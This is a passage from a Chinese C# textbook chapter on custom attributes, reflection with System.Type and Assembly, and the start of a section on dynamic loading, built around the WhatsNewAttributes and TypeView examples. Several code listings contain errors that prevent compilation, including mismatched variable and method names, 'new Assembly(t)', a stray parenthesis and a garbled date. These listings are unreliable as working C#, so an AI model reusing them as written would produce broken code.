LookupWhatsNew ● TypeView ● VectorClass ● WhatsNewAttributes ● DLRHost ● Dynamic ● DynamicFileReader ● ErrorExample 16.1 在运行期间检查代码和动态编程 本章讨论自定义特性、反射和动态编程。自定义特性允许把自定义元数据与程序元素 关联起来。这些元数据是在编译过程中创建的,并嵌入到程序集中。反射是一个普通术 语,它描述了在运行过程中检查和处理程序元素的功能。例如,反射允许完成以下任务: ● 枚举类型的成员 ● 实例化新对象 ● 执行对象的成员 ● 查找类型的信息 ● 查找程序集的信息 ● 检查应用于某种类型的自定义特性 ● 创建和编译新程序集 这个列表列出了许多功能,包括.NET Framework类库提供的一些最强大、最复杂的 功能。但本章不可能介绍反射的所有功能,仅讨论最常用的功能。 为了说明自定义特性和反射,我们将开发一个示例,说明公司如何定期升级软件,自 动记录升级的信息。在这个示例中,要定义几个自定义特性,表示程序元素最后修改的日 期,以及发生了什么变化。然后使用反射开发一个应用程序,它在程序集中查找这些特 性,自动显示软件自某个给定日期以来升级的所有信息。 本章要讨论的另一个示例是一个应用程序,该程序从数据库中读取信息或把信息写入 数据库,并使用自定义特性,把类和属性标记为对应的数据库表和列。然后在运行期间从 程序集中读取这些特性,使程序可以自动从数据库的相应位置检索或写入数据,无须为每 个表或每一列编写特定的逻辑。 本章的第二部分是动态编程,C#自从第4版添加了dynamic类型后,动态编程就成为 C#的一部分。随着Ruby、Python等语言的成长,以及JavaScript的使用更加广泛,动态编 程引起了人们越来越多的兴趣。尽管C#仍是一种静态的类型化语言,但这些新增内容给 它提供了一些开发人员期望的动态功能。使用动态语言功能,允许在C#中调用脚本函 数,简化COM交互操作。 本章介绍dynamic类型及其使用规则,并讨论DynamicObject的实现方式和使用方式。 另外,还将介绍DynamicObject的框架实现方式,即ExpandoObject。 16.2 自定义特性 前面介绍了如何在程序的各个数据项上定义特性。这些特性都是Microsoft定义好的, 作为.NET Framework类库的一部分,许多特性都得到了C#编译器的支持。对于这些特殊 的特性,编译器可以以特殊的方式定制编译过程,例如,可以根据StructLayout特性中的 信息在内存中布置结构。 .NET Framework也允许用户定义自己的特性。显然,这些特性不会影响编译过程, 因为编译器不能识别它们,但这些特性在应用于程序元素时,可以在编译好的程序集中用 作元数据。 这些元数据在文档说明中非常有用。但是,使自定义特性非常强大的因素是使用反 射,代码可以读取这些元数据,使用它们在运行期间做出决策。也就是说,自定义特性可 以直接影响代码运行的方式。例如,自定义特性可以用于支持对自定义许可类进行声明性 的代码访问安全检查,把信息与程序元素关联起来,程序元素由测试工具使用,或者在开 发可扩展的架构时,允许加载插件或模块。 16.2.1 编写自定义特性 为了理解编写自定义特性的方式,应了解一下在编译器遇到代码中某个应用了自定义 特性的元素时,该如何处理。以数据库为例,假定有一个C#属性声明,如下所示。 [FieldName("SocialSecurityNumber")] public string SocialSecurityNumber { get { // etc. 当C#编译器发现这个属性(property)应用了一个FieldName特性时,首先会把字符串 Attribute追加到这个名称的后面,形成一个组合名称FieldNameAttribute,然后在其搜索路 径的所有名称空间(即在using语句中提及的名称空间)中搜索有指定名称的类。但要注 意,如果用一个特性标记数据项,而该特性的名称以字符串Attribute结尾,编译器就不会 把该字符串加到组合名称中,而是不修改该特性名。因此,上面的代码等价于: [FieldNameAttribute("SocialSecurityNumber")] public string SocialSecurityNumber { get { // etc. 编译器会找到含有该名称的类,且这个类直接或间接派生自System.Attribute。编译器 还认为这个类包含控制特性用法的信息。特别是属性类需要指定: ● 特性可以应用到哪些类型的程序元素上(类、结构、属性和方法等) ● 它是否可以多次应用到同一个程序元素上 ● 特性在应用到类或接口上时,是否由派生类和接口继承 ● 这个特性有哪些必选和可选参数 如果编译器找不到对应的特性类,或者找到一个特性类,但使用特性的方式与特性类 中的信息不匹配,编译器就会产生一个编译错误。例如,如果特性类指定该特性只能应用 于类,但我们把它应用到结构定义上,就会产生一个编译错误。 继续上面的示例,假定定义了一个FieldName特性: [AttributeUsage(AttributeTargets.Property, AllowMultiple=false, Inherited=false)] public class FieldNameAttribute: Attribute { private string _name; public FieldNameAttribute(string name) { _name = name; } } 下面几节讨论这个定义中的每个元素。 1.指定AttributeUsage特性 要注意的第一个问题是特性(attribute)类本身用一个特性——System.AttributeUsage 特性来标记。这是Microsoft定义的一个特性,C#编译器为它提供了特殊的支持(你可能 认为AttributeUsage根本不是一个特性,它更像一个元特性,因为它只能应用到其他特性 上,不能应用到类上)。AttributeUsage主要用于标识自定义特性可以应用到哪些类型的 程序元素上。这些信息由它的第一个参数给出,该参数是必选的,其类型是枚举类型 AttributeTargets。在上面的示例中,指定FieldName特性只能应用到属性(property)上 ——这是因为我们在前面的代码段中把它应用到属性上。AttributeTargets枚举的成员如 下: ● All ● Assembly ● Class ● Constructor ● Delegate ● Enum ● Event ● Field ● GenericParameter ● Interface ● Method ● Module ● Parameter ● Property ● ReturnValue ● Struct 这个列表列出了可以应用该特性的所有程序元素。注意在把特性应用到程序元素上 时,应把特性放在元素前面的方括号中。但是,在上面的列表中,有两个值不对应于任何 程序元素:Assembly和Module。特性可以应用到整个程序集或模块中,而不是应用到代 码中的一个元素上,在这种情况下,这个特性可以放在源代码的任何地方,但需要用关键 字Assembly或Module作为前缀: [assembly:SomeAssemblyAttribute(Parameters)] [module:SomeAssemblyAttribute(Parameters)] 在指定自定义特性的有效目标元素时,可以使用按位OR运算符把这些值组合起来。 例如,如果指定FieldName特性可以同时应用到属性和字段上,可以编写下面的代码: [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, AllowMultiple=false, Inherited=false)] public class FieldNameAttribute: Attribute 也可以使用AttributeTargets.All指定自定义特性可以应用到所有类型的程序元素上。 AttributeUsage特性还包含另外两个参数:AllowMultiple和Inherited。它们用不同的语法来 指定:<ParameterName>=<ParameterValue>,而不是只给出这些参数的值。这些参数是可 选的,根据需要,可以忽略它们。 AllowMultiple参数表示一个特性是否可以多次应用到同一项上,这里把它设置为 false,表示如果编译器遇到下述代码,就会产生一个错误: [FieldName("SocialSecurityNumber")] [FieldName("NationalInsuranceNumber")] public string SocialSecurityNumber { // etc. 如果把Inherited参数设置为true,就表示应用到类或接口上的特性也可以自动应用到 所有派生的类或接口上。如果特性应用到方法或属性上,它就可以自动应用到该方法或属 性等的重写版本上。 2.指定特性参数 下面介绍如何指定自定义特性接受的参数。在编译器遇到下述语句时: [FieldName("SocialSecurityNumber")] public string SocialSecurityNumber { // etc. 编译器会检查传递给特性的参数(在本例中,是一个字符串),并查找该特性中带这些参 数的构造函数。如果编译器找到一个这样的构造函数,编译器就会把指定的元数据传递给 程序集。如果编译器找不到,就生成一个编译错误。如后面所述,反射会从程序集中读取 元数据(特性),并实例化它们表示的特性类。因此,编译器需要确保存在这样的构造函 数,才能在运行期间实例化指定的特性。 在本例中,仅为FieldNameAttribute类提供一个构造函数,而这个构造函数有一个字 符串参数。因此,在把FieldName特性应用到一个属性上时,必须为它提供一个字符串作 为参数,如上面的代码所示。 如果可以选择特性提供的参数类型,就可以提供构造函数的不同重载方法,尽管一般 是仅提供一个构造函数,使用属性来定义任何其他可选参数,下面将介绍可选参数。 3.指定特性的可选参数 在AttributeUsage特性中,可以使用另一种语法,把可选参数添加到特性中。这种语 法指定可选参数的名称和值,它通过特性类中的公共属性或字段起作用。例如,假定修改 SocialSecurityNumber属性的定义,如下所示: [FieldName("SocialSecurityNumber", Comment="This is the primary key field")] public string SocialSecurityNumber { get; set; } { // etc. 在本例中,编译器识别第二个参数的语法<ParameterName>=<ParameterValue>,并且 不会把这个参数传递给FieldNameAttribute类的构造函数,而是查找一个有该名称的公共 属性或字段(最好不要使用公共字段,所以一般情况下要使用特性),编译器可以用这个 属性设置第二个参数的值。如果希望上面的代码工作,就必须给FieldNameAttribute类添 加一些代码: [AttributeUsage(AttributeTargets.Property, AllowMultiple=false, Inherited=false)] public class FieldNameAttribute : Attribute { public string Comment { get; set; } private string _fieldName; public FieldNameAttribute(string fieldName) { _fieldName = fieldname; } // etc } 16.2.2 自定义特性示例:WhatsNewAttributes 本节开始编写前面描述过的示例WhatsNewAttributes,该示例提供了一个特性,表示 最后一次修改程序元素的时间。这个示例比前面所有的示例都复杂,因为它包含3个不同 的程序集: ● WhatsNewAttributes程序集,它包含特性的定义。 ● VectorClass程序集,它包含所应用的特性的代码。 ● LookUpWhatsNew程序集,它包含显示已改变的数据项详细信息的项目。 其中,只有LookUpWhatsNew程序集是目前为止使用的一个控制台应用程序,其余两 个程序集都是库,它们都包含类的定义,但都没有程序的入口点。对于VectorClass程序 集,我们使用了VectorAsCollection示例,但从中删除了入口点和测试代码类,只剩下 Vector类。这些类详见本章后面的内容。 1. WhatsNewAttributes库程序集 首先从核心的WhatsNewAttributes程序集开始。其源代码包含在WhatsNewAttributes.cs 文件中,该文件位于本章示例代码中WhatsNewAttributes解决方案的WhatsNewAttributes项 目中。 WhatsNewAttributes的示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System WhatsNewAttributes.cs文件定义了两个特性类LastModifiedAttribute和 SupportsWhatsNew-Attribute。LastModifiedAttribute特性可以用于标记最后一次修改数据项 的时间,它有两个必选参数(这两个参数传递给构造函数);修改的日期和包含描述修改 信息的字符串。它还有一个可选参数issues (表示存在一个公共属性),它可以用来描述 该数据项的任何重要问题。 在现实生活中,或许想把特性应用到任何对象上。为了使代码比较简单,这里仅允许 将它应用于类和方法,并允许它多次应用到同一项上(AllowMultiple=true),因为可以 多次修改某一项,每次修改都需要用一个不同的特性实例来标记。 SupportsWhatsNew是一个较小的类,它表示不带任何参数的特性。这个特性是一个程 序集的特性,它用于把程序集标记为通过LastModifiedAttribute维护的文档。这样,以后 查看这个程序集的程序会知道,它读取的程序集是我们使用自动文档过程生成的那个程序 集。这部分示例的完整源代码如下所示(代码文件WhatsNewAttributes.cs): using System; namespace WhatsNewAttributes { [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, AllowMultiple=true, Inherited=false)] public class LastModifiedAttribute: Attribute { private readonly DateTime _dateModified; private readonly string _changes; public LastModifiedAttribute(string dateModified, string changes) { _dateModified = DateTime.Parse(dateModified); _changes = changes; } public DateTime DateModified => _dateModified; public string Changes => _changes; public string Issues { get; set; } } [AttributeUsage(AttributeTargets.Assembly)] public class SupportsWhatsNewAttribute: Attribute { } } 根据前面的讨论,这段代码应该相当清楚。不过请注意,属性DateModified和 Changes是只读的。使用表达式语法,编译器会创建get访问器。不需要set访问器,因为必 须在构造函数中把这些参数设置为必选参数。需要get访问器,以便可以读取这些特性的 值。 2. VectorClass程序集 本节就使用这些特性,我们用前面的VectorAsCollection示例的修订版本来说明。注 意,这里需要引用刚才创建的WhatsNewAttributes库,还需要使用using语句指定相应的名 称空间,这样编译器才能识别这些特性(代码文件VectorClass/Vector.cs): using System; using System.Collections; using System.Collections.Generic; using System.Text; using WhatsNewAttributes; [assembly: SupportsWhatsNew] 在这段代码中,添加了一行用SupportsWhatsNew特性标记程序集本身的代码。 VectorClass的示例代码使用了如下依赖项和名称空间: 依赖项: NETStandard.Library WhatsNewAttributes 名称空间: System System.Collections System.Collections.Generic System.Text WhatsNewAttributes 下面考虑Vector类的代码。我们并不是真的要修改这个类中的某些主要内容,只是添 加两个LastModified特性,以标记出本章对Vector类进行的操作。 namespace VectorClass { [LastModified("6 Jun 2015", "updated for C# 6 and .NET Core")] [LastModified("14 Deb 2010", "IEnumerable interface implemented: " + "Vector can be treated as a collection")] [LastModified("10 Feb 2010", "IFormattable interface implemented " + "Vector accepts N and VE format specifiers")] public class Vector : IFormattable, IEnumerable<double> { public Vector(double x, double y, double z) { X = x; Y = y; Z = z; } public Vector(Vector vector) : this (vector.X, vector.Y, vector.Z) { } public double X { get; } public double Y { get; } public double Z { get; } public string ToString(string format, IFormatProvider formatProvider) { //... 再把包含的VectorEnumerator类标记为new: [LastModified("6 Jun 2015", "Changed to implement the generic interface IEnumerator<T>")] [LastModified("14 Feb 2010", "Class created as part of collection support for Vector")] private class VectorEnumerator : IEnumerator<double> { 上面是这个示例的代码。目前还不能运行它,因为我们只有两个库。在描述了反射的 工作原理后,就介绍这个示例的最后一部分,从中可以查看和显示这些特性。 16.3 反射 本节先介绍System.Type类,通过这个类可以访问关于任何数据类型的信息。然后简 要介绍System.Reflection.Assembly类,它可以用于访问给定程序集的相关信息,或者把这 个程序集加载到程序中。最后把本节的代码和上一节的代码结合起来,完成 WhatsNewAttributes示例。 16.3.1 System.Type类 这里使用Type类只为了存储类型的引用: Type t = typeof(double); 我们以前把Type看作一个类,但它实际上是一个抽象的基类。只要实例化了一个 Type对象,实际上就实例化了Type的一个派生类。尽管一般情况下派生类只提供各种 Type方法和属性的不同重载,但是这些方法和属性返回对应数据类型的正确数据,Type 有与每种数据类型对应的派生类。它们一般不添加新的方法或属性。通常,获取指向任何 给定类型的Type引用有3种常用方式: ● 使用C#的typeof运算符,如上述代码所示。这个运算符的参数是类型的名称(但不 放在引号中)。 ● 使用GetType()方法,所有的类都会从System.Object继承这个方法。 double d = 10; Type t = d.GetType(); 在一个变量上调用GetType()方法,而不是把类型的名称作为其参数。但要注意, 返回的Type对象仍只与该数据类型相关:它不包含与该类型的实例相关的任何信息。如 果引用了一个对象,但不能确保该对象实际上是哪个类的实例,GetType方法就很有用。 ● 还可以调用Type类的静态方法GetType(): Type t = Type.GetType("System.Double"); Type是许多反射功能的入口。它实现许多方法和属性,这里不可能列出所有的方法 和属性,而主要介绍如何使用这个类。注意,可用的属性都是只读的:可以使用Type确 定数据的类型,但不能使用它修改该类型! 1. Type的属性 由Type实现的属性可以分为下述三类。首先,许多属性都可以获取包含与类相关的 各种名称的字符串,如表16-1所示。 表16-1 属性 返回值 Name 数据类型名 FullName 数据类型的完全限定名(包括名称空间名) Namespace 在其中定义数据类型的名称空间名 其次,属性还可以进一步获取Type对象的引用,这些引用表示相关的类,如表16-2所 示。 表16-2 属性 返回对应的Type引用 BaseType 该Type的直接基本类型 UnderlyingSystemType 该Type在.NET运行库中映射到的类型(某些.NET基类实际 上映射到由IL识别的特定预定义类型) 许多布尔属性表示这种类型是一个类,还是一个枚举等。这些特性包括IsAbstract、 IsArray、IsClass、IsEnum、IsInterface、IsPointer、IsPrimitive(一种预定义的基元数据类 型)、IsPublic、IsSealed以及IsValueType。例如,使用一种基元数据类型: Type intType = typeof(int); WriteLine(intType.IsAbstract); // writes false WriteLine(intType.IsClass); // writes false WriteLine(intType.IsEnum); // writes false WriteLine(intType.IsPrimitive); // writes true WriteLine(intType.IsValueType); // writes true 或者使用Vector类: Type vecType = typeof(Vector); WriteLine(vecType.IsAbstract); // writes false WriteLine(vecType.IsClass); // writes true WriteLine(vecType.IsEnum); // writes false WriteLine(vecType.IsPrimitive); // writes false WriteLine(vecType.IsValueType); // writes false 也可以获取在其中定义该类型的程序集的引用,该引用作为 System.Reflection.Assembly类的实例的一个引用来返回: Type t = typeof (Vector); Assembly containingAssembly = new Assembly(t); 2.方法 System.Type的大多数方法都用于获取对应数据类型的成员信息:构造函数、属性、 方法和事件等。它有许多方法,但它们都有相同的模式。例如,有两个方法可以获取数据 类型的方法的细节信息:GetMethod()和GetMethods()。GetMethod()方法返回 System.Reflection.MethodInfo对象的一个引用,其中包含一个方法的细节信息。 GetMethods()返回这种引用的一个数组。其区别是GetMethods()方法返回所有方法的 细节信息;而GetMethod()方法返回一个方法的细节信息,其中该方法包含特定的参数 列表。这两个方法都有重载方法,重载方法有一个附加的参数,即BindingFlags枚举值, 该值表示应返回哪些成员,例如,返回公有成员、实例成员和静态成员等。 例如,GetMethods()最简单的一个重载方法不带参数,返回数据类型的所有公共方 法的信息: Type t = typeof(double); foreach (MethodInfo nextMethod in t.GetMethods()) { // etc. } Type的成员方法如表16-3所示,遵循同一个模式。注意名称为复数形式的方法返回一 个数组。 表16-3 返回的对象类型 方法 ConstructorInfo GetConstructor(), GetConstructors() EventInfo GetEvent(), GetEvents() FieldInfo GetField(), GetFields() MemberInfo GetMember(), GetMembers(), GetDefaultMembers() MethodInfo GetMethod(), GetMethods() PropertyInfo GetProperty(), GetProperties() GetMember()和GetMembers()方法返回数据类型的任何成员或所有成员的详细 信息,不管这些成员是构造函数、属性和方法等。 16.3.2 TypeView示例 下面用一个短小的示例TypeView来说明Type类的一些功能,这个示例可以用来列出 数据类型的所有成员。本例主要说明对于double型TypeView的用法,也可以修改该样例中 的一行代码,使用其他的数据类型。 运行应用程序的结果输出到控制台上,如下: Analysis of type Double Type Name: Double Full Name: System.Double Namespace: System Base Type: ValueType public members: System.Double Method IsInfinity System.Double Method IsPositiveInfinity System.Double Method IsNegativeInfinity System.Double Method IsNaN System.Double Method CompareTo System.Double Method CompareTo System.Double Method Equals System.Double Method op_Equality System.Double Method op_Inequality System.Double Method op_LessThan System.Double Method op_GreaterThan System.Double Method op_LessThanOrEqual System.Double Method op_GreaterThanOrEqual System.Double Method Equals System.Double Method GetHashCode System.Double Method ToString System.Double Method ToString System.Double Method ToString System.Double Method ToString System.Double Method Parse System.Double Method Parse System.Double Method Parse System.Double Method Parse System.Double Method TryParse System.Double Method TryParse System.Double Method GetTypeCode System.Object Method GetType System.Double Field MinValue System.Double Field MaxValue System.Double Field Epsilon System.Double Field NegativeInfinity System.Double Field PositiveInfinity System.Double Field NaN 控制台显示了数据类型的名称、全名和名称空间,以及底层类型的名称。然后,它迭 代该数据类型的所有公有实例成员,显示所声明类型的每个成员、成员的类型(方法、字 段等)以及成员的名称。声明类型是实际声明类型成员的类的名称(例如,如果在 System.Double中定义或重载它,该声明类型就是System.Double,如果成员继承自某个基 类,该声明类型就是相关基类的名称)。 TypeView不会显示方法的签名,因为我们是通过MemberInfo对象获取所有公有实例 成员的详细信息,参数的相关信息不能通过MemberInfo对象来获得。为了获取该信息, 需要引用MemberInfo和其他更特殊的对象,即需要分别获取每一种类型的成员的详细信 息。 TypeView示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Reflection System.Text static System.Console TypeView会显示所有公有实例成员的详细信息,但对于double类型,仅定义了字段和 方法。下面列出TypeView的代码。开始时需要添加几条using语句: using System; using System.Reflection; using System.Text; using static System.Console; 需要System.Text的原因是我们要使用StringBuilder对象构建文本。全部代码都放在 Program一个类中,这个类包含两个静态方法和一个静态字段,StringBuilder的一个实例称 为OutputText, OutputText用于创建在消息框中显示的文本。Main()方法和类的声明如下 所示: class Program { private static StringBuilder OutputText = new StringBuilder(); static void Main() { // modify this line to retrieve details of any other data type Type t = typeof(double); AnalyzeType(t); WriteLine($"Analysis of type {t.Name}"); WriteLine(OutputText.ToString()); ReadLine(); } 实现的Main()方法首先声明一个Type对象,来表示我们选择的数据类型,再调用 方法AnalyzeType(), AnalyzeType()方法从Type对象中提取信息,并使用该信息构建 输出文本。最后在控制台中显示输出。这些都由AnalyzeType()方法来完成: static void AnalyzeType(Type t) { TypeInfo typeInfo = t.GetTypeInfo(); AddToOutput($"Type Name: {t.Name}"); AddToOutput($"Full Name: {t.FullName}"); AddToOutput($"Namespace: {t.Namespace}"); Type tBase = t.BaseType; if (tBase ! = null) { AddToOutput($"Base Type: {tBase.Name}"); } AddToOutput("\npublic members:"); foreach (MemberInfo NextMember in t.GetMembers()) { #if DNXCORE AddToOutput($"{member.DeclaringType} {member.Name}"); #else AddToOutput($"{member.DeclaringType} {member.MemberType} {member.Name}"); #endif } } 实现AnalyzeType()方法,仅需要调用Type对象的各种属性,就可以获得我们需要 的类型名称的相关信息,再调用GetMembers()方法,获得一个MemberInfo对象的数 组,该数组用于显示每个成员的信息。注意,这里使用了一个辅助方法 AddToOutput(),该方法创建要显示的文本: static void AddToOutput(string Text) { OutputText.Append("\n" + Text); } 16.3.3 Assembly类 Assembly类在System.Reflection名称空间中定义,它允许访问给定程序集的元数据, 它也包含可以加载和执行程序集(假定该程序集是可执行的)的方法。与Type类一样, Assembly类包含非常多的方法和属性,这里不可能逐一论述。下面仅介绍完成 WhatsNewAttributes示例所需要的方法和属性。 在使用Assembly实例做一些工作前,需要把相应的程序集加载到正在运行的进程中。 为此,可以使用静态成员Assembly.Load()或Assembly.LoadFrom()。这两个方法的区 别是Load()方法的参数是程序集的名称,运行库会在各个位置上搜索该程序集,试图 找到该程序集,这些位置包括本地目录和全局程序集缓存。而LoadFrom()方法的参数 是程序集的完整路径名,它不会在其他位置搜索该程序集: Assembly assembly1 = Assembly.Load("SomeAssembly"); Assembly assembly2 = Assembly.LoadFrom (@"C:\My Projects\Software\SomeOtherAssembly"); 这两个方法都有许多其他重载版本,它们提供了其他安全信息。加载了一个程序集 后,就可以使用它的各种属性进行查询,例如,查找它的全名: string name = assembly1.FullName; 1.获取在程序集中定义的类型的详细信息 Assembly类的一个功能是它可以获得在相应程序集中定义的所有类型的详细信息,只 要调用Assembly.GetTypes()方法,它就可以返回一个包含所有类型的详细信息的 System.Type引用数组,然后就可以按照上一节的方式处理这些Type引用: Type[] types = theAssembly.GetTypes(); foreach(Type definedType in types) { DoSomethingWith(definedType); } 2.获取自定义特性的详细信息 用于查找在程序集或类型中定义了什么自定义特性的方法取决于与该特性相关的对象 类型。如果要确定程序集从整体上关联了什么自定义特性,就需要调用Attribute类的一个 静态方法GetCustomAttributes(),给它传递程序集的引用: Attribute[] definedAttributes = Attribute.GetCustomAttributes(assembly1); // assembly1 is an Assembly object  注意: 这是相当重要的。以前你可能想知道,在定义自定义特性时,为什么 必须费尽周折为它们编写类,以及为什么Microsoft没有更简单的语法。答案就在于 此。自定义特性确实与对象一样,加载了程序集后,就可以读取这些特性对象,查看 它们的属性,调用它们的方法。 GetCustomAttributes()方法用于获取程序集的特性,它有两个重载方法:如果在调 用它时,除了程序集的引用外,没有指定其他参数,该方法就会返回为这个程序集定义的 所有自定义特性。当然,也可以通过指定第二个参数来调用它,第二个参数是表示感兴趣 的特性类的一个Type对象,在这种情况下,GetCustomAttributes()方法就返回一个数 组,该数组包含指定类型的所有特性。 注意,所有特性都作为一般的Attribute引用来获取。如果要调用为自定义特性定义的 任何方法或属性,就需要把这些引用显式转换为相关的自定义特性类。调用 Assembly.GetCustomAttributes()的另一个重载方法,可以获得与给定数据类型相关的自 定义特性的详细信息,这次传递的是一个Type引用,它描述了要获取的任何相关特性的 类型。另一方面,如果要获得与方法、构造函数和字段等相关的特性,就需要调用 GetCustomAttributes()方法,该方法是MethodInfo、ConstructorInfo和FieldInfo等类的一 个成员。 如果只需要给定类型的一个特性,就可以调用GetCustomAttribute()方法,它返回 一个Attribute对象。在WhatsNewAttributes示例中使用GetCustomAttribute()方法,是为 了确定程序集中是否有SupportsWhatsNew特性。为此,调用GetCustomAttributes()方 法,传递对WhatsNewAttributes程序集的一个引用和SupportWhatsNewAttribute特性的类 型。如果有这个特性,就返回一个Attribute实例。如果在程序集中没有定义任何实例,就 返回null。如果找到两个或多个实例,GetCustomAttribute()方法就抛出一个 System.Reflection. AmbiguousMatchException异常。该调用如下所示: Attribute supportsAttribute = Attribute.GetCustomAttributes(assembly1, typeof(SupportsWhatsNewAttribute)) ; 16.3.4 完成WhatsNewAttributes示例 现在已经有足够的知识来完成WhatsNewAttributes示例了。为该示例中的最后一个程 序集LookupWhatsNew编写源代码,这部分应用程序是一个控制台应用程序,它需要引用 其他两个程序集WhatsNewAttributes和VectorClass。 LookupWhatsNew项目的示例代码使用了如下依赖项和名称空间: 依赖项: NETStandard.Library VectorClass WhatsNewAttributes 名称空间: System System.Collections.Generic System.Linq System.Reflection System.Text WhatsNewAttributes static System.Console 在这个文件的源代码中,首先指定要使用的名称空间System.Text,因为需要再次使 用一个StringBuilder对象。System.Linq用于过滤一些特性(代码文件 LookupWhatsNew/Program.cs): using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text; using WhatsNewAttributes; using static System.Console; namespace LookUpWhatsNew { Program类包含主程序入口点和其他方法。我们定义的所有方法都在这个类中,它还 有两个静态字段:outputText和backDateTo。outputText字段包含在准备阶段创建的文本, 这个文本要写到消息框中,backDateTo字段存储了选择的日期——自从该日期以来进行的 所有修改都要显示出来。一般情况下,需要显示一个对话框,让用户选择这个日期,但我 们不想编写这种代码,以免转移读者的注意力。因此,把backDateTo字段硬编码为日期 2015年2月1日。在下载这段代码时,很容易修改这个日期: class Program { private static readonly StringBuilder outputText = new StringBuilder(1000); private static DateTime backDateTo = new DateTime(2015, 2, 1); static void Main() { Assembly theAssembly = Assembly.Load(new AssemblyName("VectorClass")); Attribute supportsAttribute = theAssembly.GetCustomAttribute( typeof(SupportsWhatsNewAttribute)); string name = theAssembly.FullName; AddToMessage($"Assembly: {name}"); if (supportsAttribute == null) { AddToMessage("This assembly does not support WhatsNew attributes"); return; } else { AddToMessage("Defined Types:"); } IEnumerable<Type> types = theAssembly.ExportedTypes; foreach(Type definedType in types) { DisplayTypeInfo(definedType); } WriteLine($"What\`s New since {backDateTo:D}"); WriteLine(outputText.ToString()); ReadLine(); } //... } Main()方法首先加载VectorClass程序集,验证它是否真的用SupportsWhatsNew特性 标记。我们知道,VectorClass程序集应用了SupportsWhatsNew特性,虽然才编译了该程序 集,但进行这种检查还是必要的,因为用户可能希望检查这个程序集。 验证了这个程序集后,使用Assembly.ExportedTypes属性获得一个集合,其中包括在 该程序集中定义的所有类型,然后在这个集合中遍历它们。对每种类型调用一个方法—— DisplayTypeInfo(),它给outputText字段添加相关的文本,包括LastModifiedAttribute类 的任何实例的详细信息。最后,显示带有完整文本的控制台。DisplayTypeInfo()方法如 下所示: private static void DisplayTypeInfo(Type type) { // make sure we only pick out classes if (! type.GetTypeInfo().IsClass)) { return; } AddToMessage($"\nclass {type.Name}"); IEnumerable<LastModifiedAttribute> attributes = type.GetTypeInfo() .GetCustomAttributes().OfType<LastModifiedAttribute>(); if (attributes.Count() == 0) { AddToMessage("No changes to this class\n"); } else { foreach (LastFieldModifiedAttribute attribute in attributes) { WriteAttributeInfo(attribute); } } AddToMessage("changes to methods of this class:"); foreach (MethodInfo method in type.GetTypeInfo().DeclaredMembers.OfType<MethodInfo>()) { IEnumerable<LastModifiedAttribute> attributesToMethods = method.GetCustomAttributes().OfType<LastModifiedAttribute>(); if (attributesToMethods.Count() > 0) { AddToOutput($"{method.ReturnType} {method.Name}()"); foreach (Attribute attribute in attributesToMethods) { WriteAttributeInfo(attribute); } } } } 注意,在这个方法中,首先应检查所传递的Type引用是否表示一个类。因为,为了 简化代码,指定LastModified特性只能应用于类或成员方法,如果该引用不是类(它可能 是一个结构、委托或枚举),那么进行任何处理都是浪费时间。 接着使用type.GetTypeInfo().GetCustomAttributes()方法确定这个类是否有相关的 LastModified-Attribute实例。如果有,就使用辅助方法WriteAttributeInfo()把它们的详细 信息添加到输出文本中。 最后,使用TypeInfo类型的DeclaredMembers属性遍历这种数据类型的所有成员方 法,然后对每个方法进行相同的处理(类似于对类执行的操作):检查每个方法是否有相 关的LastModifiedAttribute实例,如果有,就用WriteAttributeInfo()方法显示它们。 下面的代码显示了WriteAttributeInfo()方法,它负责确定为给定的 LastModifiedAttribute实例显示什么文本,注意因为这个方法的参数是一个Attribute引用, 所以需要先把该引用强制转换为LastModifiedAttribute引用。之后,就可以使用最初为这 个特性定义的属性获取其参数。在把该特性添加到要显示的文本中之前,应检查特性的日 期是否是最近的: private static void WriteAttributeInfo(Attribute attribute) { LastModifiedAttribute lastModifiedAttrib = attribute as LastModifiedAttribute; if (lastModifiedAttrib == null) { return; } // check that date is in range DateTime modifiedDate = lastModifiedAttrib.DateModified; if (modifiedDate < backDateTo) { return; } AddToOutput($" modified: {modifiedDate:D}: {lastModifiedAttribute.Changes}" ); if (lastModifiedAttribute.Issues ! = null) { AddToOutput($" Outstanding issues: {lastModifiedAttribute.Issues}"); } } 最后,是辅助方法AddToMessage(): static void AddToOutput(string message) { outputText.Append("\n" + message); } 运行这段代码,得到如下结果: What`s New since Sunday, February 1, 2015 Assembly: VectorClass, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null Defined Types: class Vector modified: Saturday, June 6, 2015: updated for C# 6 and .NET Core changes to methods of this class: System.String ToString() System.Collections.Generic.IEnumerator`1[System.Double] GetEnumerator() modified: Saturday, June 6, 2015: added to implement IEnumerable<T> 注意,在列出VectorClass程序集中定义的类型时,实际上选择了两个类:Vector类和 内嵌的VectorEnumerator类。还要注意,这段代码把backDateTo日期硬编码为2月1日,实 际上选择的是日期为6月6日的特性(添加集合支持的时间),而不是前述日期。 16.4 为反射使用动态语言扩展 前面一直使用反射来读取元数据。还可以使用反射,从编译时还不清楚的类型中动态 创建实例。下一个示例显示了创建Calculator类的一个实例,而编译器在编译时不知道这 种类型。程序集CalculatorLib是动态加载的,没有添加引用。在运行期间,实例化 Calculator对象,调用方法。知道如何使用反射API后,使用C# dynamic关键字可以完成相 同的操作。这个关键字自C# 4版本以来,就成为C#语言的一部分。 16.4.1 创建Calculator库 要加载的库是一个简单的类库(包),包含Calculator类型与Add和Subtract方法的实 现代码。因为方法是很简单的,所以它们使用表达式语法实现(代码文件CalculatorLib / Calculator.cs): namespace CalculatorLib { public class Calculator { public double Add(double x, double y) => x + y; public double Subtract(double x, double y) => x - y; } } 编译库后,将DLL复制到文件夹c:/ addins。为了创建Class Library (Package)项目的 输出,在Project Properties的Build选项卡上,选择Produce Outputs on Build选项(见图16- 1)。 图16-1 根据是使用客户端应用程序的.NET Core还是.NET Framework版本,需要将相应的库 复制到c:/addins文件夹。为了在Visual Studio中选择要运行应用程序的平台,用Project Properties选择Debug设置,再选择Platform设置,如图16-2。 图16-2 16.4.2 动态实例化类型 为了使用反射动态创建Calculator实例,应创建一个Console Application(Package), 命名为ClientApp。 常量CalculatorLibPath、CalculatorLibName和CalculatorTypeName定义了库的路径、程 序集的名字和Calculator类型的名称(包括名称空间)。Main方法调用方法ReflectionOld和 ReflectionNew,这两个变体进行反射(代码文件DynamicSamples / ClientApp / 